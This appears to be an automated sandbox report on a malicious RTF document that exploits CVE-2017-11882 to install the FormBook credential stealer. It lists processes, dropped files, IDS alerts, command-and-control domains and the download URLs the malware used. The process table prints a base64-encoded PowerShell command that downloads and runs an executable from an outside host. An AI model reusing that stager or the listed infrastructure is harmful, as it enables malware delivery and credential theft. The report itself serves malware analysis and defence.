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| File name: | iA-vWmxGSk9gtb6GPeGhzmVmXWpuNHb4C4_eG-Nb15s.bin |
| Full analysis: | https://app.any.run/tasks/4cffc25c-e616-4674-ae3e-1f89d5b8b4b1 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | May 20, 2019, 09:55:03 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | F35500D6FCB7C17072F00B2E12790EDC |
| SHA1: | 79A1111563A02F0EDC45B63AF97B6C4A1DD1135B |
| SHA256: | 880FEF5A6C464A4F60B5BE863DE1A1CE65665D6A6E3476F80B8F9E1BF35BD79B |
| SSDEEP: | 48:acSSebGDvTzDXi5xokbzjEsT6NZen2HwDEEEEEEEEEEk:acSSCGDvrSxJFWO2sEEEEEEEEEEk |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 3496)
Loads dropped or rewritten executable
- nvbackend.exe (PID: 2440)
Application was dropped or rewritten from another process
- nvbackend.exe (PID: 2440)
FORMBOOK was detected
- explorer.exe (PID: 2044)
Downloads executable files from the Internet
- powershell.exe (PID: 980)
Changes the autorun value in the registry
- help.exe (PID: 300)
Connects to CnC server
- explorer.exe (PID: 2044)
Actions looks like stealing of personal data
- help.exe (PID: 300)
Formbook was detected
- help.exe (PID: 300)
- Firefox.exe (PID: 1456)
Stealing of credential data
- help.exe (PID: 300)
SUSPICIOUS
Executes PowerShell scripts
- EQNEDT32.EXE (PID: 3496)
Executed via WMI
- cmd.exe (PID: 2580)
Executed via COM
- EQNEDT32.EXE (PID: 3496)
Creates files in the user directory
- EQNEDT32.EXE (PID: 3496)
- powershell.exe (PID: 980)
- help.exe (PID: 300)
Executable content was dropped or overwritten
- powershell.exe (PID: 980)
- nvbackend.exe (PID: 2440)
Reads internet explorer settings
- EQNEDT32.EXE (PID: 3496)
Starts CMD.EXE for commands execution
- help.exe (PID: 300)
Loads DLL from Mozilla Firefox
- help.exe (PID: 300)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 908)
Starts Microsoft Office Application
- explorer.exe (PID: 2044)
Creates files in the user directory
- WINWORD.EXE (PID: 908)
- Firefox.exe (PID: 1456)
Manual execution by user
- help.exe (PID: 300)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
Total processes
45
Monitored processes
10
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 908 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\iA-vWmxGSk9gtb6GPeGhzmVmXWpuNHb4C4_eG-Nb15s.bin.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3496 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | |
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 | ||||
| 980 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAHcAdwB3AC4AZgBsAG8AcgBpAHMAdAAuAGMAbwBtAC4AYgByAC8AbQBhAGkAbABiAG8AeAAvAE4AZQB3AE8AcgBkAGUAcgAwADUAMgAwADEAOQBaAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABuAHYAYgBhAGMAawBlAG4AZAAuAGUAeABlACIAKQApADsA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EQNEDT32.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2580 | cmd /c %temp%\nvbackend.exe | C:\Windows\system32\cmd.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2440 | C:\Users\admin\AppData\Local\Temp\nvbackend.exe | C:\Users\admin\AppData\Local\Temp\nvbackend.exe | cmd.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 3028 | "C:\Windows\system32\nslookup.exe" | C:\Windows\system32\nslookup.exe | — | nvbackend.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: nslookup Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 300 | "C:\Windows\System32\help.exe" | C:\Windows\System32\help.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Command Line Help Utility Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 556 | /c del "C:\Windows\system32\nslookup.exe" | C:\Windows\System32\cmd.exe | — | help.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2044 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1456 | "C:\Program Files\Mozilla Firefox\Firefox.exe" | C:\Program Files\Mozilla Firefox\Firefox.exe | help.exe | |
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Exit code: 0 Version: 65.0.2 | ||||
Total events
3 468
Read events
3 048
Write events
0
Delete events
0
Modification events
Executable files
3
Suspicious files
76
Text files
3
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3F8D.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\48DFC301S9SHWUTL10JF.temp | — | |
MD5:— | SHA256:— | |||
| 2440 | nvbackend.exe | C:\Users\admin\AppData\Local\Temp\nsc5131.tmp | — | |
MD5:— | SHA256:— | |||
| 980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
| 3496 | EQNEDT32.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\ulot[1].hta | html | |
MD5:C5771E7F9DA6BBFA1CBB31B97C965303 | SHA256:9DF953F511D457598254761373D84A3DC89DCCF67C2A4D4809C3893A5DCB0A76 | |||
| 908 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:3107227F47377D26DFEB4773A6AFB83A | SHA256:4EE8125788061B77C12B0342B95E5F66F95A1F848A3B39220512773F24BA77B3 | |||
| 300 | help.exe | C:\Users\admin\AppData\Roaming\72---4DE\72-logrc.ini | binary | |
MD5:2855A82ECDD565B4D957EC2EE05AED26 | SHA256:88E38DA5B12DD96AFD9DC90C79929EC31D8604B1AFDEBDD5A02B19249C08C939 | |||
| 3496 | EQNEDT32.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat | dat | |
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862 | SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A | |||
| 2440 | nvbackend.exe | C:\Users\admin\AppData\Local\Temp\Scholiast | binary | |
MD5:2BB7185B27ADB5626E74AA340760D3D8 | SHA256:1F97CB0ADA3ECA3171C90CD6EABA55FBD13FBC90FAB79B8EDD2A8EC5A5404E95 | |||
| 980 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF134970.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
15
DNS requests
8
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3496 | EQNEDT32.EXE | GET | 200 | 192.185.216.14:80 | http://www.florist.com.br/images/ulot.hta | US | html | 1.54 Kb | malicious |
2044 | explorer.exe | GET | 302 | 172.217.23.147:80 | http://www.streetsofgoldens.com/we/?Yn=TFny8bqnATnIQWRgo7cs+6ae790qS+qcbJargH81wnQKfUTwSVbu/SQmTSeA3/TcGWnO8w==&mtbDx=IrCdL8l8uL2d&sql=1 | US | html | 357 b | malicious |
2044 | explorer.exe | POST | 404 | 192.64.114.89:80 | http://www.cravlop.com/we/ | US | html | 291 b | malicious |
2044 | explorer.exe | GET | — | 198.185.159.144:80 | http://www.defiantaftercare.com/we/?Yn=MbiAIaYTPfKObovqhXM4gMlpuUIFHnrF7vQTgPh2eDwIbFN5N6N126h+F/1dUTrkDezsJQ==&mtbDx=IrCdL8l8uL2d | US | — | — | malicious |
980 | powershell.exe | GET | 200 | 192.185.216.14:80 | http://www.florist.com.br/mailbox/NewOrder052019Z.exe | US | executable | 363 Kb | malicious |
2044 | explorer.exe | POST | — | 198.185.159.144:80 | http://www.defiantaftercare.com/we/ | US | — | — | malicious |
2044 | explorer.exe | GET | 404 | 192.64.114.89:80 | http://www.cravlop.com/we/?Yn=wTmcjo91+zBok5inC8oUfxpssPSx6OXgLNMKUqegHYAO5/ocGOpXO1mFVoGHqgoJ1vwSdg==&mtbDx=IrCdL8l8uL2d&sql=1 | US | html | 326 b | malicious |
2044 | explorer.exe | GET | 302 | 104.18.132.62:80 | http://www.samprice.design/we/?Yn=dkIVpqiF655vUFHU+mp+Elok3FIVmcNr8Tk8QJ3XqRtp4fklP/Rir3XBmHkxDlU9J8p9VA==&mtbDx=IrCdL8l8uL2d | US | html | 195 b | malicious |
2044 | explorer.exe | POST | — | 172.217.23.147:80 | http://www.streetsofgoldens.com/we/ | US | — | — | malicious |
2044 | explorer.exe | POST | — | 198.185.159.144:80 | http://www.defiantaftercare.com/we/ | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
980 | powershell.exe | 192.185.216.14:80 | www.florist.com.br | CyrusOne LLC | US | suspicious |
3496 | EQNEDT32.EXE | 192.185.216.14:80 | www.florist.com.br | CyrusOne LLC | US | suspicious |
— | — | 198.185.159.144:80 | www.defiantaftercare.com | Squarespace, Inc. | US | malicious |
2044 | explorer.exe | 172.217.23.147:80 | www.streetsofgoldens.com | Google Inc. | US | whitelisted |
2044 | explorer.exe | 192.64.114.89:80 | www.cravlop.com | Namecheap, Inc. | US | malicious |
2044 | explorer.exe | 198.185.159.144:80 | www.defiantaftercare.com | Squarespace, Inc. | US | malicious |
2044 | explorer.exe | 104.18.132.62:80 | www.samprice.design | Cloudflare Inc | US | shared |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.florist.com.br |
| malicious |
www.ul0higuwn6.com |
| unknown |
www.samprice.design |
| malicious |
www.edificioquintaavenida.com |
| unknown |
www.streetsofgoldens.com |
| malicious |
www.cravlop.com |
| malicious |
www.defiantaftercare.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3496 | EQNEDT32.EXE | Potentially Bad Traffic | ET POLICY Possible HTA Application Download |
3496 | EQNEDT32.EXE | Attempted User Privilege Gain | ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl |
980 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
980 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3496 | EQNEDT32.EXE | A Network Trojan was detected | ET INFO PowerShell NoProfile Command Received In Powershell Stagers |
3496 | EQNEDT32.EXE | A Network Trojan was detected | ET INFO PowerShell Hidden Window Command Common In Powershell Stagers M2 |
3496 | EQNEDT32.EXE | A Network Trojan was detected | SUSPICIOUS [PTsecurity] Encoded PowerShell script (New-Object) |
2044 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
2044 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
2044 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
11 ETPRO signatures available at the full report